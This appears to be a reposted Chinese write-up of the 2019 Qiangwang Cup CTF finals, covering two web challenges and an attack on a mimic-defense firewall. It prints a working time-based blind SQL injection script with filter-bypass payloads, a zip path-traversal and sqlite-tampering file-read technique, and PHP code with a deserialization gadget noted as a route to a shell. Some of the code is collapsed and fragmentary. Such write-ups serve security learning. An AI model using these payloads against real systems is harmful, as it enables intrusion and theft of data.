当前位置:网站首页 > 网络安全培训 > 正文

2019强网杯Final Writeup

freebuffreebuf 2019-06-17 348 0

本文来源:Knownsec知道创宇

上周有幸去南京参加了强网杯拟态挑战赛,运气比较好拿了第二名,只是可惜是最后8分钟被爆了,差一点儿真是有点儿可惜。

有关于拟态的观念我会在后面讲防火墙黑盒攻击的writeup时再详细写,抛开拟态不谈,赛宁这次引入的比赛模式我觉得还蛮有趣的,白盒排位赛的排名决定你是不是能挑战白盒拟态,这样的多线并行挑战考验的除了你的实际水平,也给比赛本身平添了一些有趣的色彩(虽然我们是被这个设定坑了),虽然我还没想到这种模式如何应用在普通的ctf赛场上,但起码也是一个有趣的思路不是吗。

一、Web白盒

1.1 sqlcms

这题其实相对比赛中的其他题目来说,就显得有些太简单了,当时如果不是因为我们是第一轮挑战白盒的队伍,浪费了30分钟时间,否则抢个前三血应该是没啥问题。

简单测试就发现,过滤了以下符号:

, and >1234567890{}"

def get_content(url):
for i in xrange(50): # payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))" # payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)" payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)"

if get_data(payload): print "[*] content_length: "+str(i) content_length = i break
content = ""
tmp_content = ""

for i in range(1,content_length+1): for k in strings: tmp_content = content+str(k) tmp_content = tmp_content.ljust(content_length,'_')
# payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))" payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like '"+tmp_content+"') then sleep(2) else 0 end)"

# print payload if get_data(payload): content += k print "[*] content: "+content break
print "[*] content: " + content

def get_response(payload):
s = requests.Session() username = "teststeststests1234\\"
s.post()
def get_data(payload):
u = url+'?id='+payload print u otime = time.time() # print u.replace(' ','%20')
r = s.get(u) rr = r.text ptime = time.time()
if ptime-otime >2: return True else: return False

get_content(url)

1.2 ezweb

这题觉得非常有意思,我喜欢这个出题思路,下面我们来一起整理下整个题目的思路。

首先是打开页面就是简单粗暴的登录,用户名只把.换成了_,然后就直接存入了session中。

当我们在用户名中插入/的时候,我们就会发现爆了无法打开文件的错误,/被识别为路径分割,然后sqlite又没有太高的权限去创建文件夹,所以就报错了,于是我们就得到了。

如果用户名被直接拼接到了数据库名字中,将.转化为_,

./dbs/mimic_{username}.db

直接访问相应的路径,就可以下载到自己的db文件,直接本地打开就可以看到其中的数据。

A1.jpg

数据库里很明显由filename做主键,后面的数据是序列化之后的字符串,主要有两个点,一个是file_type,这代表文件上传之后,服务端会检查文件的类型,然后做相应的操作,其次还会保存相应的文件路径。

抛开这边的数据库以后,我们再从黑盒这边继续分析。

当你上传文件的时候,文件名是md5(全文件名)+最后一个.后的后缀拼接。

对于后缀的检查,如果点后为ph跟任何字符都会转为mimic。

多传几次可以发现,后端的file_type是由前端上传时设置的content-type决定的,但后端类型只有4种,其中text会直接展现文件内容,image会把文件路径传入img标签展示出来,zip会展示压缩包里的内容,other只会展示文件信息。

switch ($type){        case 'text/php':        case 'text/x-php':            $this->status = 'failed';break;        case 'text/plain':            $this->info = @serialize($info);break;        case 'image/png':        case 'image/gif':        case 'image/jpeg':            $info['file_type'] = 'image';            $this->info = @serialize($info);break;        case 'application/zip':            $info['file_type'] = 'zip';            $info['file_list'] = $this->handle_ziparchive();            $this->info = @serialize($info);            $this->flag = false;break;        default:            $info['file_type'] = 'other';            $this->info = @serialize($info);break;            break;    }

其中最特别的就是zip,简单测试可以发现,不但会展示zip的内容,还会在uploads/{md5(filename)}中解压zip中的内容。

测试发现,服务端限制了软连接,但是却允许跨目录,我们可以在压缩包中加入../../a,这个文件就会被解压到根目录,但可惜文件后缀仍然收到之前对ph的过滤,我们没办法写入任何php文件。

private function handle_ziparchive() {    try{        $file_list = array();        $zip = new PclZip($this->file);        $save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4);        @mkdir($save_dir, 755);        $res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT_DIR_RESTRICTION, '/var/www/html' , PCLZIP_OPT_BY_PREG,'/^(?!(.*)\.ph(.*)).*$/is');        foreach ($res as $k => $v) {            $file_list[$k] = array(                'name' => $v['stored_filename'],                'size' => $this->get_size($v['size'])            );        }        return $file_list;    }    catch (Exception $ex) {        print_r($ex);        $this->status = 'failed';    }}

按照常规思路来说,我们一般会选择上传.htaccess和.user.ini,但很神奇的是,.htaccess因为apache有设置无法访问,不知道是不是写进去了。.user.ini成功写入了。但是两种方式都没生效。

于是只能思考别的利用方式,这时候我们会想到数据被储存在sqlite中。

如果我们可以把sqlite文件中数据修改,然后将文件上传到服务端,我们不就能实现任意文件读取吗。

A2.jpg

这里我直接读了flag ,正常操作应该是要先读代码,然后反序列化getshell:

public function __destruct() {    if($this->flag){        file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file));    }    $this->conn->insert($this->filename, $this->info);    echo json_encode(array('status' => $this->status));}

最后拿到flag。

二、拟态防火墙

两次参加拟态比赛,再加上简单了解过拟态的原理,我大概可以还原目前拟态防御的原理,也逐渐佐证拟态防御的缺陷。

下面是我在攻击拟态防火墙时,探测到的后端结构,大概是这样的(不保证完全准确):

A3.jpg

其中Web服务的执行体中,有3种服务端,分别为nginx、apache和lighttpd这3种。

Web的执行体非常简陋,其形态更像是负载均衡的感觉,不知道是不是裁决机中规则没设置还是Web的裁决本身就有问题。

而防火墙的执行体就更诡异了,据现场反馈说,防火墙的执行体是开了2个,因为反馈不一致,所以返回到裁决机的时候会导致互判错误...这种反馈尤其让我疑惑,这里的问题我在下面实际的漏洞中继续解释。

配合防火墙的漏洞,我们下面逐渐佐证和分析拟态的缺点。

我首先把攻击的过程分为两个部分,1是拿到Web服务执行体的webshell,2是触发修改访问控制权限(比赛中攻击得分的要求)。

三、GetShell

首先我不得不说真的是运气站在了我这头,第一界强网杯拟态挑战赛举办的时候我也参加了比赛,当时的比赛规则没这么复杂,其中有两道拟态Web题目,其中一道没被攻破的就是今年的原题,拟态防火墙,使用的也是天融信的Web管理界面。

一年前虽然没日下来,但是幸运的是,一年前和一年后的攻击得分目标不一致,再加上去年赛后我本身也研究过,导致今年看到这个题的时候,开局我就走在了前面。具体可以看下面这篇wp:

转载请注明来自网盾网络安全培训,本文标题:《2019强网杯Final Writeup》

标签:防火墙黑盒攻击强网杯

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表